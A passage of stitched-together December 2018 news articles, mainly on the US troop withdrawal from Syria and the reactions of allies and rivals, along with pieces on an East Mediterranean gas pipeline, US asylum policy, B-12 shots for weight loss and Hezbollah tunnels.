the day. Defense officials said U.S. airstrikes would continue until all the approximately 2,000 U.S. troops are out of Syria, but it was unclear whether the air campaign would then end. Officials said it might depend on whether France and other coalition partners keep ground troops in Syria after the Americans leave. A continued presence of allied troops working with local Syrians might compel the U.S. to contribute air cover. The Pentagon, roiled first by the surprise withdrawal order from Trump and then the abrupt resignation of Mattis, offered no information about how the withdrawal will happen or how long it will take, apparently because they don't know. Two officials speaking on condition of anonymity to discuss internal planning said Gen. Joseph Votel, head of U.S. Central Command, will submit a comprehensive withdrawal plan to top Pentagon officials in coming days. One official said military commanders are concerned that the pullout will leave their Syrian Kurdish allies in the lurch. Turkey, which considers the Kurds a security threat, has said it intends to send its army into Syria to clear them out. Until now, Turkey had to consider the presence of U.S. troops; once they are gone, a bloody clash seems inevitable. Sen. Lindsey Graham, R-S.C., said on Thursday that Mattis had told him he is worried about the Kurds and this is not the right time to leave. "I won't get into conversations between Mattis and the president, but I will tell you what he told me: He thought that the time was not right to leave," Graham said at a Capitol Hill news conference. Mattis believes that "the day we leave it's going to be open season on every Kurd who's supported us," he said. Story continues The Kurdish-led Syrian Democratic Forces, who have partnered with U.S. troops for years as the key force against IS militants, said in a strongly worded statement laced with bitterness that the fight against IS was at a "decisive" stage that requires even more support from the U.S.-led coalition. "The war against terrorism has not ended and (the Islamic State group) has not been defeated," the statement said. Graham said Mattis also expressed concern about the more than 700 Islamic State fighters being held by the SDF, saying they could be released and end up back on the battlefield. The militants still hold a string of villages and towns along the Euphrates River in eastern Syria, where they have resisted weeks of attacks by the U.S.-supported Syrian Democratic Forces to drive them out. The pocket is home to about 15,000 people, among them 2,000 IS fighters, according to U.S. military estimates. From the start of his administration, Trump had made no secret of his desire to pull out of Syria. But the timing of his announcement Wednesday remains a puzzle. His national security adviser, John Bolton, Mattis and other top leaders argued against the pullout, but were unable to change Trump's mind. Graham and Democratic Sens. Bob Menendez of New Jersey and Jack Reed of Rhode Island say they have growing support for a resolution urging the president to change his strategy. Graham, who usually is a strong Trump supporter, has savaged the pullout decision as wrong-headed, ill-timed and a gift to America's adversaries. "I can't explain this decision," Graham told reporters. "I'm not going to suggest motivations that are anything other than a frustrated president. But I can promise this: that if you follow through with this everything that happened in Iraq is going to happen in Syria. It's going to be worse, not better. It's going to make it harder to make the Taliban reconcile." His Taliban reference was to U.S. efforts to promote peace in Afghanistan. On Thursday, Trump defended his decision, saying on Twitter: "Getting out of Syria was no surprise. I've been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer." He added: "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever?" Mattis and other senior administration officials have argued publicly for months that it would be in the best interests of the United States to remain in Syria long enough to ensure a lasting defeat of the Islamic State militants, who have been greatly diminished but not eliminated. Gen. Joseph Dunford, chairman of the Joint Chiefs of Staff, recently said the Pentagon estimates that 35,000 to 40,000 local security forces are needed to ensure stability in northeastern Syria. As of December, Dunford said, only about 20 percent of those forces have been trained. Secretary of State Mike Pompeo, who is known to have opposed leaving Syria now, defended the Trump decision Thursday. "The president made an enormous commitment to take down the caliphate, and that has been achieved," he said. "We now have the battle, it's a long-time battle, which is the counterterrorism battle, not only against ISIS, but against al-Qaeda and others ..., all the terrorist groups. President Trump remains just as committed today as he was yesterday and the day before." Trump pushed back against Graham in a tweet, writing: "So hard to believe that Lindsey Graham would be against saving soldier lives & billions of $$$. Why are we fighting for our enemy, Syria, by staying & killing ISIS for them Russia, Iran & other locals?" It's true that Syrian President Bashar Assad considers the Islamic State militants a threat, and that Assad has been supported by Iran and Russia in his civil war against a range of opposition fighters. The stated purpose of the U.S. military presence, however, was not to defend Assad but to defeat the Islamic State while pressing for a U.N.-brokered diplomatic solution to the civil war. ___ Associated Press writer Matthew Lee contributed to this report. By Phil Stewart and Ellen Francis WASHINGTON/BEIRUT (Reuters) - The United States will likely end its air campaign against Islamic State in Syria when it pulls out troops, U.S. officials said on Thursday, as President Donald Trump defended the planned withdrawal against criticism from allies abroad and at home. NATO allies France and Germany said Washington's change of course on Syria risks damaging the fight against Islamic State, the militant group that had seized swathes of Iraq and Syria but has now been squeezed to a sliver of Syrian territory. Several of Trump's fellow Republicans in Congress, joined by opposition Democrats, urged the president to reverse course, saying the withdrawal would strengthen the hand of Russia and Iran in Syria and enable a resurgence of Islamic State. Trump, however, gave no sign of changing his mind and lashed out at Senator Lindsey Graham, a Republican who is sometimes an ally of the president but who has said a withdrawal would have "devastating consequences" for the United States. "So hard to believe that Lindsey Graham would be against saving soldier lives & billions of $$$," Trump tweeted. "Why are we fighting for our enemy, Syria, by staying & killing ISIS for them, Russia, Iran & other locals? Time to focus on our Country & bring our youth back home where they belong!" Trump's troop announcement on Wednesday upended a pillar of American policy in the Middle East and caused consternation in domestic and foreign critics who argued it would make it harder to find a diplomatic solution to Syria's seven-year civil war. France, a leading member of the U.S.-led coalition against Islamic State, said it would keep its troops in northern Syria for now and contested Trump's assertion that the group has been defeated in the country. "Islamic State has not been wiped from the map nor have its roots. The last pockets of this terrorist organization must be defeated militarily once and for all," French Defence Minister Florence Parly said on Twitter. France has about 1,100 troops in Iraq and Syria providing logistics, training and heavy artillery support as well as fighter jets. In Syria it has dozens of special forces, military advisers and some foreign office personnel. Trump, however, tweeted that he was fulfilling a promise to leave Syria made during his presidential campaign and arguing that the United States was doing the work of other countries and it was "time for others to finally fight." Four U.S. officials, who spoke to Reuters on condition of anonymity due to the sensitivity of the issue, said the troop withdrawal is expected to mean an end to the U.S. air campaign against Islamic State in Syria. The U.S.-led air war has been vital to crushing the militants there and in neighboring Iraq, with more than 100,000 bombs and missiles fired at targets in the two countries since 2015. Still, one U.S. official said a final decision on the air campaign had not been made and did not rule out some kind of support for partners and allies. The United States told the U.N. Security Council it was committed to the "permanent destruction" of Islamic State in Syria and would keep pushing for the withdrawal of Iranian-backed forces in the country. The roughly 2,000 U.S. troops in Syria, many of them special forces, were ostensibly helping to combat Islamic State but were also seen as a possible bulwark against Syrian President Bashar al-Assad, who has retaken much of the country from his foes in the civil war, with military help from Iran and Russia. The Kurdish-led Syrian Democratic Forces (SDF), which have been fighting Islamic State with U.S. support for three years, said the withdrawal of troops would let the militants regroup at a critical stage and leave Syrians stuck between "the claws of hostile parties" fighting for territory in the civil war. The SDF are in the final stages of a campaign to recapture areas seized by the militants. But they face the threat of a military incursion by Turkey, which considers the Kurdish YPG fighters who spearhead the force to be a terrorist group, and Syrian forces committed to restoring Assad's control over the whole country. The SDF said the battle against Islamic State had reached a decisive phase that required more support, not a precipitate U.S. withdrawal. THREAT ALIVE Islamic State declared a caliphate in 2014 after seizing parts of Syria and Iraq. The hardline group established its de facto capital in the Syrian city of Raqqa, using it as a base to plot attacks in Europe. According to U.S. estimates, the group oversaw about 100,000 square kms (39,000 square miles) of territory, with about 8 million people under its control and estimated revenues of nearly $1 billion a year. A senior U.S. official last week said the group was down to its last 1 percent of the territory it once held. It has no remaining territory in Iraq, although militants have resumed insurgent attacks since the group's defeat there last year. Russian President Vladimir Putin said he largely agreed with Trump that the group had been defeated in Syria but added there was a risk it could recover. He also questioned what Trump's announcement meant in practical terms, saying there was no sign yet of a withdrawal of U.S. forces, whose presence in Syria Moscow calls illegitimate. Israel will escalate its fight against Iranian-aligned forces in Syria after the withdrawal of U.S. troops, Prime Minister Benjamin Netanyahu said. While Turkey has not commented directly on Trump's decision, an end to the U.S.-Kurdish partnership will please Ankara. Kurdish militants east of the Euphrates in Syria "will be buried in their ditches when the time comes," state-owned Anadolu news agency reported Defence Minister Hulusi Akar as saying. Turkey has intervened to sweep YPG and Islamic State fighters from parts of northern Syria that lie west of the Euphrates over the past two years. It has not gone east of the river, partly to avoid direct confrontation with U.S. forces. (Additional reporting by Daren Butler in Istanbul, John Irish in Paris; Michelle Nichols at the United Nations, Dan Williams in Jerusalem and Mohammad Zargham in WashingtonWriting by Dominic Evans, Alistair Bell and Arshad Mohammed; Editing by Janet Lawrence, James Dalgleish, Frances Kerry and Cynthia Osterman) JERUSALEM (AP) Prime Minister Benjamin Netanyahu on Thursday said that Israel, Greece and Cyprus will sign an agreement early next year to build a pipeline to carry natural gas from the eastern Mediterranean to Europe, while the United States pledged its support for the ambitious project. The $7 billion project, expected to take six or seven years to complete, promises to reshape the region as an energy provider and dent Russia's dominance over the European energy market. It also could curtail Iranian ambitions to use Syria as a gateway to the eastern Mediterranean. Speaking at a summit with the Greek and Cypriot leaders in southern Israel, Netanyahu said the three nations reaffirmed their commitment to the pipeline and discussed "important aspects" of the project. Italy is also a partner in the pipeline's planning. Cyprus President Nicos Anastasiades said the project is waiting for a green light from the European Union to move forward. "We're going to sign formally, officially, this agreement in a few months," he said. In another boost for the project, U.S. Ambassador David Friedman hailed the pipeline as integral to the "stability and prosperity of the Middle East and Europe," and urged all countries in the region to ensure its success. Washington is eyeing the east Mediterranean with renewed interest. In a meeting with the Greek foreign minister earlier this month, U.S. Secretary of State Mike Pompeio called the region "an important strategic frontier" for Washington, which is working to strengthen its relations with "democratic allies there like Greece and Cyprus and Israel." Israel has been developing natural gas fields off its Mediterranean coast for the past decade. Its "Tamar" field already is operational, while the larger "Leviathan" field is expected to be operational next year. While most of its gas is used domestically, it has signed export deals with Egypt and Jordan and has its eyes on the larger European market. Story continues The proposed pipeline would allow Israel and Cyprus to export their recently discovered offshore reserves to Italy and eventually to the rest of Europe. Greece, which would act as a conduit for the gas to the continent, could also use the pipeline to convey any hydrocarbons potentially found in its own waters. This would potentially transform the countries' economies while also diversifying Europe's gas supply and reduce its dependence on Russia. Developing the region's hydrocarbon reserves would also serve to curb Teheran's bid to "open a window" to the east Mediterranean through Syria, Assistant Secretary of State Wess Mitchell told Greek language newspaper Kathimerini in an interview published this week. At Thursday's summit, the leaders offered no details of a construction timeline. The countries also pledged to cooperate in cyber security, while Israel and Cyprus signed a preliminary deal on technical cooperation and Israel and Greece reached a framework agreement on satellite technology. ___ Associated Press writer Menelaos Hadjicostis in Nicosia, Cyprus, contributed reporting. Washington (AFP) - The Trump administration announced Thursday it will send migrants who cross the southern border back to Mexico while their cases are being heard so they cannot "disappear" on US soil. "Aliens trying to game the system to get into our country illegally will no longer be able to disappear into the United States, where many skip their court dates," Homeland Security Secretary Kirstjen Nielsen said in statement. "Instead, they will wait for an immigration court decision while they are in Mexico. 'Catch and release' will be replaced with 'catch and return,'" she added. The announcement came after US courts rebuffed President Donald Trump's order to deny asylum across the board to tens of thousands of Central Americans, mostly from Guatemala, El Salvador and Honduras, who have headed northward fleeing poverty and violence in their countries. - Porous border - The move threatened to change the dynamic on the porous, 2,000-mile (3,200-kilometer) border, forcing more migrants to accept staying in Mexico for long periods or choose to try and sneak into the United States undetected, an often high-risk option. "We expect this will result in a truly historic drop in illegal immigration, because the incentive to come here - file an asylum claim and remain in the United States during the pendency of that claim - will no longer exist," said Secretary of State Mike Pompeo. "We've made clear to the Mexican government our intent to do this," Pompeo added. It was not clear if there was a formal agreement with Mexico's weeks-old government on the policy. "Mexico has made an independent determination that they will commit to implement essential measures on their side of the border," Nielsen said. "We expect affected migrants will receive humanitarian visas to stay on Mexican soil, the ability to apply for work, and other protections while they await a US legal determination." Story continues Mexico's Washington charge d'affairs Jose Antonio Zabalgoitia told reporters his country would "guarantee that foreign people who have received their appointment (in the United States) fully enjoy the rights and freedoms recognized by the constitution." But he also urged Washington "not to turn migrants into ping-pong balls." "The measure applies only to people seeking asylum" in the United States, Zabalgoitia said. "We will not accept people deported from the United States." - Deep frustration - The new policy was attacked by Bennie Thompson, the senior Democrat of the US House Homeland Security Committee. "The administration is now hell-bent on taking out its frustration on vulnerable people fleeing violence by making our asylum process even more difficult. Today's announcement threatens to put migrants in greater danger," he said. But the move came amid Trump's deep frustration that efforts to stem a tide of Central American migrants seeking to enter the United States from Mexico have not worked. Since last year Congress has refused to fund Trump's $20 billion border wall, even as the president again threatened Thursday to shut down the government over the issue. Courts have ruled that the government cannot forcibly separate illegal immigrant parents from their children, also meant to be a deterrent. They have also forced a freeze on his ban on giving asylum to the migrants, bowing to lawsuits that called the presidential order illegal. And until now Mexico has refused to allow the United States to send non-Mexican migrants back over the border. Because of that, US officials are forced to register those caught after entering the country, either charging them with illegal entry or recording their asylum requests, and then releasing them inside the country to await future hearings. Nielsen says few ever show up for those hearings. Nielsen said Thursday's decision would reduce illegal migration by "removing one of the key incentives that encourages people from taking the dangerous journey to the United States in the first place." "This will also allow us to focus more attention on those who are actually fleeing persecution." Photo credit: Ake Ngiamsanguan - Getty Images From Women's Health Every once in a while, you hear about a weight-loss trend that makes you wonder if youre seriously missing out. B-12 shots for weight loss is one of them. Celebrities like Rita Ora and Justin Timberlake have reportedly tried them, and Katy Perry even tweeted a few years ago about getting a B-12 shot in her butt. Of course, the idea grew from there, and somewhere along the line, B-12 shots started getting linked with weight loss. Butcan B-12 shots actually help you drop pounds, or is it all just B.S.? What are B-12 shots anyway? Vitamin B-12 is a water-soluble vitamin thats naturally present in some foods like fish, meat, poultry, eggs, milk, and milk products, according to the National Institutes of Health (NIH). It keeps your nerves and blood cells healthy, helps make your body's DNA, and can protect against anemia, which can make you feel tired and weak. According to the NIH, the daily recommended allowance for vitamin B-12 is 2.4 micrograms for both men and women (it goes up to 2.6 micrograms for pregnant women, and 2.8 micrograms for those who are nursing). JSYK: A double cheeseburger has 2.1 micrograms of vitamin B-12, per the NIH. A B-12 shot is basically just a large dose of B-12-one shot typically contains 1,000 micrograms of the stuff, says Susan Besser, M.D., a primary care physician at Mercy Medical Center in Baltimore. Theyre usually given by a primary-care doctor or nurse, although you can be trained to do it yourself, similar to how people can learn to give themselves insulin, Besser says. Do B-12 shots have any health or weight-loss benefits? People who are all about these shots claim that they can give you more energy, boost your metabolism, and help you lose weight in the process-but uh, none of that is true for the average person. Vitamin B-12 is administered for those who have an actual deficiency or persons who have had cyanide poisoning (as an antidote), says Fatima Cody Stanford, M.D., obesity medicine physician at Massachusetts General Hospital. Story continues If you have anemia (a condition where your blood doesnt have enough healthy red blood cells), B-12 injections could help fix the issue, Stanford says. The people most likely to be at risk for vitamin B-12 deficiency are those who are vegan-vitamin B-12 is generally only obtained from animal sources-or those who have undergone a metabolic procedure such as weight-loss surgery," she says. Weight-loss surgery can affect a person's ability to absorb vitamin B-12, making daily injection necessary, adds Stanford. Vegetarians can also be at risk of having a B-12 deficiency, says Beth Warren, R.D., founder of Beth Warren Nutrition and author of Secrets of a Kosher Girl. Only if someone is deficient would they feel the physical benefits from the shots, Warren says. Otherwise, it's really not going to do anything. It does not increase your energy or boost metabolism, other than by treating the underlying illnesses, Besser says. Stanford agrees. Vitamin B-12 is not a strategy to achieve weight loss, she says. Sure, if you're deficient, vitamin B-12 might give you enough energy to, say, start exercising again, which might help with weight loss, she says. But otherwise, it really won't make a big difference. Should you take B-12 shots? Ask yourself a few questions: Are you a vegan or vegetarian? Have you recently undergone weight-loss surgery? Has your doctor told you you're deficient in vitamin B-12? If you answered yes to any of those questions, then, yes, you might need to take B-12 shots (again, administered by your doctor). If you don't need vitamin B-12 shots, then you probably shouldn't take them-but only because they likely won't do anything for you. The good news: Taking excess B-12 won't hurt your health. One cannot OD on B-12, Besser says. Instead, you'll just pee out whatever your body doesn't use. Keep in mind, too, that with any injection, theres a risk of irritation and infection at the injection site, she says. Plus...injections hurt. If you do think you have a B-12 deficiency and could benefit from the occasional B-12 shot, talk to your doctor to get your B-12 levels tested. But if you just want to drop pounds and were hoping that injecting yourself with B-12 would help...it won't (talk to an R.D. instead to come up with a plan to eat healthier and exercise regularly). The bottom line: If you're not deficient in the vitamin, B-12 shots won't help you lose weight or feel healthier. ('You Might Also Like',) A special Russian delegation arrived in Israel on Wednesday, as part of Moscow's efforts to ease tensions between the two countries following the downing of a Russian plane by Syrian forces in September, during an attempt to repel an Israeli airstrike. The Russian delegation, headed by Foreign Affairs Committee Chairman Konstantin Koschev and Defense Committee Chairman Victor Bondar, was to discuss the Hezbollah terror tunnels that the IDF is working to uncover dug under the Israel-Lebanese border. Follow Ynetnews on Facebook STRONG> and Twitter The delegation's visit, which has been kept under wraps so far, is viewed by Israel as highly important as it symbolizes the Kremlin's intention to leave behind the crisis over the plane. PM Netanyahu and Russian President Vladimir Putin (Photo: AP) The Russian delegation is expected to tour the Israel-Lebanon border on Thursday, and will view the four cross-border terror tunnels exposed by the IDF since it had launched Operation Northern Shield. In addition, the delegation will meet with members of the Knesset's Foreign Affairs and Defense Committees for a classified discussion on the security situation on the northern border and a meeting with the National Security Council will also be held. The delegation heads will also meet with Soviet-born Knesset Speaker Yuli Edelstein. Officials in Jerusalem said that over the few past days, Russia had attempted to normalize relations with Israel by expressing its disapproval of the tunnels to Lebanon's government, demanding it prevent further violation of UN Resolution 1701 and deal with the tunnels as soon as possible to avoid escalation. IDF operating along the Lebanese border to locate and neutralize Hezbollah terror tunnels (Photo: IDF Spokesperson's unit ) Senior Russian diplomats stressed that the tunnels stretching from Lebanon into Israel are unacceptable, and that Lebanon must take action. Moreover, the head of the Jewish Agency, Isaac Herzog, flew to Moscow on Monday for a meeting with with Russian Foreign Minister Sergei Lavrov. Lavrov told Herzog, a former Israeli minister, that the cooperation between the Russian and Israeli armies would continue in a way that did not jeopardize Russian troops, while also ensuring Israel's security. "We are cooperating on regional issues in accordance with what was agreed between Prime Minister Benjamin Netanyahu and Russian President Vladimir Putin," Lavrov said. Russian FM Lavrov and Jewish Agency chief Herzog meeting in Moscow, December 2018 (Courtesy of Russian Embassy in Israel) Meanwhile, as part of a PR campaign led by Israeli Ambassador to the United Nations Danny Danon, Israeli intelligence officials have presented before the UN Security Council members a review proving that Hezbollah has violated Resolution 1701 by digging cross-border attack tunnels. "As the IDF successfully operates to thwart the tunnel threat in the north, we will act to foil any attempt to blame Israel for protecting itself," Danon said. "The world is beginning to understand that Hezbollah is violating Resolution 1701 and the time has come to act against it. We will demand the Security Council to recognize Hezbollah as a terror organization and impose sanctions against it to paralyze its terror activities," the Israeli envoy to the UN concluded. At the request of Israel and the US, the Security Council was to convene on Wednesday to discuss the existence of the tunnels. Netanyahu on Wednesday appealed to the UNSC to condemn what he called Hezbollah's "wanton acts of aggression." Prime Minister Benjamin Netanyahu said Wednesday that electricity prices will rise less than the planned 8 percent in the new year, in an apparent bid to quell growing frustration over the soaring cost of living in Israel. Follow Ynetnews on Facebook STRONG> and Twitter "The price of electricity is significantly lower than in Europe and I tell you that it will not rise 8 percent," Netanyahu told a business conference. "I do not know how much it will rise but a few percent in the worst case." Prime Minister Benjamin Netanyahu (Photo: AP) The price of electricity was set to rise as much as 8 percent on Jan. 1, while a host of other expenses from food to water to municipal taxesare also supposed to go up in 2019. With Israel heading into an election year, the rise in living costs has touched a nerve with the public, bringing back memories of huge protests in 2011. A new wave of protests has begun, with demonstrators sporting the yellow vests worn by protesters in France. Netanyahu said electricity costs have dropped 15 percent since 2013, after the Tamar natural gas field opened off Israel's coast. He said the larger Leviathan gas field, slated to start production in a year, would lower electricity rates further. Ram Shefa, one of the organizers of recent protests against rising living costs, said the plan to raise electricity rates meant Israel's gas production was only benefiting the owners of the gas fields, Noble Energy and Delek Group. Assaf Eilat, chairman of state-run Electric Corp, told the Knesset's economics committee on Tuesday that the average electricity hike would be about 7 percent. "Even after the rise, the price of electricity in the last five years has fallen 10 percent," Eilat said. The high cost of living sparked mass protests in 2011 and significantly impacted the 2012 general election, with candidates promising to lower the cost of basic items. Osem, Israel's third-largest food maker which is owned by Nestle, said Wednesday it will postpone a 4.5 percent price hike, following public pressure and a request by Finance Minister Moshe Kahlon. Osem said in a statement that Kahlon is examining the cancellation of tariffs on a series of raw materials used by the company for its production in Israel. "It's only the start," Shefa said, adding there would be protests targeting other foodmakers and plans for a large demonstration in Tel Aviv on Saturday night. A US special envoy for North Korea on Thursday visited a border village the rival Koreas has been demilitarizing as part of steps to reduce military tensions amid a larger diplomatic push to resolve the nuclear crisis. The US Embassy in Seoul did not provide details about Stephen Biegun's visit to Panmunjom. He wasn't expected to meet with North Korean officials at the village, which is often used for diplomacy between the allies and North Korea. Donald Trump's decision to pull the 2,000 or so American troops out of Syria reshapes the geopolitical map in the Middle East. The winners and losers are clear and traditional US allies are not in the column youd expect. The winners: Russia. And so Vladimir Putin has chalked up another achievement: Russia remains, along with Iran, the central military force in the region. If this were not enough, he is already planning to expand activities in strategic destinations, in particular Syrian seaports. An image of Vladimir Putin appears alongside one of Bashar Assad at a Syrian military post. (Photo: AFP) Iran. The Islamic Republic benefits greatly from the American flight: Tehran's grip on Syrian territory is now expected to expand into the regions vacated by the US Army. Israel has repeatedly sounded the alarm over Iranian presence close to its border with Syria, and has reportedly carried out several attacks on Iranian positions. The funeral of an Iranian general killed in an Israeli airstrike in Syria (Photo: EPA) Islamic State. Even IS can feel a little satisfied at this new development: Trump is leaving Syria without completely defeating Islamic State, whatever he claims to the contrary. The organization still holds territory on the Iraq-Syria border. And despite its outster from the city of Hajin last week, the organization still has close to 15,000 members in Syria, and is busy reorganizing them in light of new developments. Islamic State fighters in Syria (Photo: AP) The losers: The Kurds. The Kurdish militias are now alone. For the past three years, they have been protected, trained and armed by the US Army in an enclave established in the northeastern Syria. But without their American defenders, the Kurds now face invasion threats from the Syrian army to the south and the Turkish army to the north. A Kurdish fighter in Syria (Photo: Reuters) Israel. The Jewish state, too, is alone: Without the American presence near the northern border, Israel has lost a significant source of deterrence and potential military assistance in the event of a regional escalation. The Russian army, which will now become Syria's main governor, has no commitment to Israel. In fact, the two nations are already in political crisis following the downing of a Russian plane by Syrian anti-aircraft missiles during an Isareli airstrike. An Egyptian court on Thursday acquitted 40 NGO workers in the re-trial of a case that has caused tension with the United States. In 2013, 43 Americans, Europeans, Egyptians and other Arabs were sentenced to jail terms ranging from one to five years on charges including operating non-governmental organisations without necessary approval. Their offices were ordered to close. In April, Egypt's top appeal court overturned the jail sentences of 16 of the workers and ordered their re-trial. A man accused of shooting dead four people at a Jewish museum in Belgium in 2014 after fighting alongside extremists in Syria appeared in court Thursday amid high security, as preparations began for his trial next month. French national Mehdi Nemmouche, 33, is accused of "terrorist murder" for gunning down the four with a handgun and an assault rifle in the Brussels Jewish museum in May 2014. His alleged accomplice, Nacer Bendrer, 30, also appeared in court. Nemmouche has said he was involved but did not carry out the killings. Iran is blaming the United States and Israel for Albania's expulsion of two Iranian diplomats accused of engaging in criminal activities that threatened the small European country's security. The official IRNA news agency quoted Foreign Ministry spokesman Bahram Ghasemi as saying "Albania has become an unintentional victim of the United States, Israel and some terrorists groups." He says the US and Israel are working to destroy relations between Iran and European countries, and that Albania should not allow others to dictate its relations with Tehran. Israel will escalate its fight against Iranian-aligned forces in Syria after the withdrawal of US troops from the country, Prime Minister Benjamin Netanyahu said Thursday. Follow Ynetnews on Facebook STRONG> and Twitter "We will continue to act very aggressively against Iran's efforts to entrench in Syria," he said in a statement. "We do not intend to reduce our efforts. We will intensify them, and I know that we do so with the full support and backing of the United States." The US announced Wednesday that it would begin withdrawing its some 2,000 troops from Syria at once, with Donald Trump claiming victory over Islamic State and declaring that there was no longer any reason to keep American forces there. The decision drew widespread criticism, with many analysts saying this was a win for Russian President Vladimir Putin, whose country becomes the main military power in Syria, and warning that IS still has tens of thousands of fighters in the country. American troops in Syria (Photo: AFP) Putin welcomed the US decision on Thursday, telling reporters at his annual news conference that he agreed with Trump's assessment that the defeat of the Islamic State group removes the need for the US military presence. Putin reaffirmed the long-held Russian argument that the US presence in Syria is illegitimate because it hadn't been vetted by the UN Security Council or approved by Syrian President Bashar Assad's government. Putin added that "if the US decided to withdraw its contingent, it has done the right thing." Russia is a key ally of Assad, and its military intervention beginning in 2015 turned the tide of the war in his favor. The Russian leader says it remains to be seen if the US carries out its intention, noting Washington's repeated promises to end its 17-year presence in Afghanistan. Donald Trump and Vladimir Putin meeting in Helsinki, July 2018 (Photo: MCT) A US-backed Kurdish group in Syria on Thursday rejected Trump's claim that IS has been defeated, saying the withdrawal of US troops would lead to a resurgence of the extremist organization. The Syrian Democratic Forces said in a statement that a premature US troop pullout would have dangerous repercussions and a destabilizing effect on the region. "The war against Islamic State has not ended and the group has not been defeated," said the group, in its first response to Trump's surprise announcement Wednesday. Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling IS. With US air support, the Kurds drove IS from much of northern and eastern Syria in a costly four-year campaign. Kurdish officials and commanders met into the night, discussing their responses to the decision, local residents said Thursday. Arin Sheikmos, a Kurdish journalist and commentator, said "we have every right to be afraid." "If the Americans pull out and leave us to the Turks or the (Syrian) regime our destiny will be like the Kurds of Iraqi Kurdistan in 1991 -- million of refugees, there will be massacres. Neither the regime, not Iran nor Turkey, will accept our presence here," he said. Kurdish fighters in the Syrian city of Raqa, after helping to drive out Islamic State (Photo: Reuters) Trump's decision to withdraw is widely seen as an abandonment of a loyal ally. Turkish President Recep Tayyip Erdogan has repeatedly threatened to launch a new offensive against the Kurds. The threat from Turkey could drive the Kurds into the arms of Syrian President Bashar Assad, and by extension Iran and Russia. Turkey views the People's Protection units, or YPG, the main component of the Syrian Democratic Forces, as a terrorist group and an extension of the insurgency within its borders. US support for the group has strained ties between the two NATO allies. "This is expected," Ebrahim Ebrahim, a Syrian Kurd based in Europe, said of the pullout. "But it is not just treason to the Kurds or the people of Syria but to democracy, to morals, if this is true. Yes, true, we fought for ourselves, but we also fought for democracies all over the world," he added. A Syrian member of parliament, Peter Marjana, said Thursday that a US pullout would be a "recognition that Syria has won." Trump's contention that IS has been defeated contradicted his own experts' assessments and shocked his party's lawmakers, who called his decision rash and dangerous. The US began airstrikes against IS in Syria in 2014, and later sent in ground troops to aid Kurdish forces. Trump abruptly declared their mission accomplished in a tweet. Israel will escalate its fight against Iranian-aligned forces in Syria after the withdrawal of US troops from the country, Israeli Prime Minister Benjamin Netanyahu said on Thursday. Some Israeli officials have said US President Donald Trump's move, announced on Wednesday, could help Iran by removing a US garrison that stems the movement of Iranian forces and weaponry into Syria from Iraq. Israel also worries that its main ally's exit could reduce its diplomatic leverage with Russia, the Syrian government's big-power backer. "We will continue to act very aggressively against Iran's efforts to entrench in Syria," Netanyahu said in televised remarks, referring to an Israeli air campaign in Syria against Iranian deployments and arms transfers to Lebanese Hezbollah guerrillas, carried out with Moscow often turning a blind eye. "We do not intend to reduce our efforts. We will intensify them, and I know that we do so with the full support and backing of the United States." The United Nations Security Council on Wednesday failed to officially condemn Hezbollah's terror tunnels stretching from Lebanon into northern Israel, despite hours of debate and censure from multiple countries. Follow Ynetnews on Facebook STRONG> and Twitter . Israeli Ambassador to the UN Danny Danon said the information Israel provided to UNIFIL, the UN's peacekeepers in Lebanon, had been passed to the Lebanese Army, which then passed it to Hezbollah that then attempted to conceal the tunnels on the Lebanese side. The United Nations Security Council (Photo: AP) He added that Hezbollah planned to use the tunnels to carry out a five-point attack on Israeli civilians at five different locations in the Galilee. He also displayed an image of a tunnel located near the Lebanese village of Kfar Kila that ran directly under the feet of the UNIFIL troops, claiming that there were areas where the peacekeepers could not go. Danon also accused the Shiite terror organization of violating UN Resolution 1701, which ended the 2006 Second Lebanon War. UNIFIL's chief, Jean-Pierre Lacroix, confirmed the organization has asked Lebanon to assist in tracking the tunnels on the Lebanese side of the border. He also admitted that at least two of the four tunnels found violated Resolution 1701. The US condemned Hezbollah, and called on the Lebanese President Michel Aoun to take all possible measures to stave off the tunnel threat and to prevent an escalation on the Israel-Lebanese border. IDF operating to locate and neutralize cross-border terror tunnels (Photo: IDF Spokesman's Office) Russia's representative said Israel's concerns are understandable, but stressed that in order to maintain stability in the region, both side must avoid provocations. As expected, the Arab countries condemned the Jewish state, calming it had repeatedly violated Lebanon's sovereignty by entering its airspace, whereas the Swedish envoy condemned both sides. Lebanon's Ambassador to the United Nations, Amal Mudallali, said her country is committed to Resolution 1701, stating that the Lebanese residents see Operation Northern Shield as "a preview for further Israeli aggression." Israel and the US did not submit a draft resolution to condemn Hezbollah's terror tunnels, fearing Russia would veto it. Prime Minister Benjamin Netanyahu gave a predictable response to Washington's decision to pull all its forces from Syria . "We will make sure to maintain Israel's security and protect ourselves from this arena," he said. "We will know how to defend ourselves." Just as well, really. Follow Ynetnews on Facebook STRONG> and Twitter What US President Donald Trump did Wednesdayafter declaring last month that American troops remain "in that part of the world" because of Israelpoints to a dangerous shift in Israel's status in this regional jungle: Washington's rash decision might well come at our expense. Putin and Trump in Helsinki, July 2018 (Photo: AFP) Let's start with the facts: Trump's America did not assassinate Islamic State leader Abu Bakr al-Baghdadi, unlike Obama's America, which successfully eliminated al-Qaeda leader Osama bin Laden. Netanyahu said Wednesday that Trump and US Secretary of State Mike Pompeo had informed him in advance of the decision to leave Syria. So the question is: how does this move line up with the prime minister's claim that Trump is one of the friendliest American presidents Israel has ever had? We can also wonder, has Netanyahu, who tried to convince us that he was the puppet master behind international leaders such as Trump and Russian President Vladimir Putin and Trump, lost his magic touch? When Russia limited Israel's ability to defend itself against Iranian consolidation near the Syrian border, following the downing of the Russian plane, Putin made it very clear that he doesn't work for us. Prime Minister Netanyahu and Russian President Putin meet in Moscow in July 2018 (Photo: AFP) Trump is now responsible for abandoning Israel, which has to face Iranian aggression in the region alone. As long as Russia is the region's boss and there is no American deterrence in Syria, what is to prevent Iran and its heavily armed sidekick Hezbollah from turning the Syrian side of the Golan Heights into a military outpost? The Americans' strategic umbrella has also weakened on the international stage. It is true that none of Israel's policymakers on defense are counting on American soldiers to fight for us, but there is no doubt that the Jewish state has enjoyed informing our enemies that in event of emergency, the Land of the Free stands with us. The American move points to Washington's weakness, and perhaps even a betrayal of its allies. The Kurds in Syria are the first to be affected by the decision, for by pulling out of Syria, the US is essentially spilling the blood of allies who helped liberate swathes of the country from IS. 